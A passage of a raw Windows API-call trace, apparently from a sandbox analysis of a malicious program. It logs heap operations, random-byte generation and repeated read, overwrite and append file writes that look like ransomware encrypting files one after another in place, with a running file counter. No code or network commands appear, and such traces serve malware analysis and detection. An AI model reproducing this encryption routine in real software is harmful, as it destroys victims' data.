RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.491] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.492] GetProcessHeap () returned 0x540000 [0085.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.493] SetFilePointerEx (in: hFile=0x8c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.493] WriteFile (in: hFile=0x8c8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.493] WriteFile (in: hFile=0x8c8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.493] GetProcessHeap () returned 0x540000 [0085.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.493] GetProcessHeap () returned 0x540000 [0085.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.493] GetProcessHeap () returned 0x540000 [0085.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.493] CloseHandle (hObject=0x8c8) returned 1 [0085.497] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 84 [0085.497] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.497] ReadFile (in: hFile=0x8cc, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.498] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.498] GetProcessHeap () returned 0x540000 [0085.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.498] GetProcessHeap () returned 0x540000 [0085.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.498] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.498] GetProcessHeap () returned 0x540000 [0085.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.498] ReadFile (in: hFile=0x8cc, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.545] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.545] WriteFile (in: hFile=0x8cc, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.545] GetProcessHeap () returned 0x540000 [0085.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.545] GetProcessHeap () returned 0x540000 [0085.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.545] GetProcessHeap () returned 0x540000 [0085.545] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.545] GetProcessHeap () returned 0x540000 [0085.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.545] GetProcessHeap () returned 0x540000 [0085.545] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.546] GetProcessHeap () returned 0x540000 [0085.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.547] GetProcessHeap () returned 0x540000 [0085.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.547] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.548] GetProcessHeap () returned 0x540000 [0085.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.549] GetProcessHeap () returned 0x540000 [0085.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.550] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.550] WriteFile (in: hFile=0x8cc, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.550] WriteFile (in: hFile=0x8cc, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.550] GetProcessHeap () returned 0x540000 [0085.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.551] CloseHandle (hObject=0x8cc) returned 1 [0085.552] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 85 [0085.552] SetFilePointerEx (in: hFile=0x8d0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.552] ReadFile (in: hFile=0x8d0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.552] SetFilePointerEx (in: hFile=0x8d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.552] GetProcessHeap () returned 0x540000 [0085.552] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.552] GetProcessHeap () returned 0x540000 [0085.552] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.552] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.553] GetProcessHeap () returned 0x540000 [0085.553] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.553] ReadFile (in: hFile=0x8d0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.600] SetFilePointerEx (in: hFile=0x8d0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.600] WriteFile (in: hFile=0x8d0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.600] GetProcessHeap () returned 0x540000 [0085.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.600] GetProcessHeap () returned 0x540000 [0085.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.600] GetProcessHeap () returned 0x540000 [0085.600] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.600] GetProcessHeap () returned 0x540000 [0085.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.600] GetProcessHeap () returned 0x540000 [0085.600] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.600] GetProcessHeap () returned 0x540000 [0085.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.600] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.601] GetProcessHeap () returned 0x540000 [0085.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 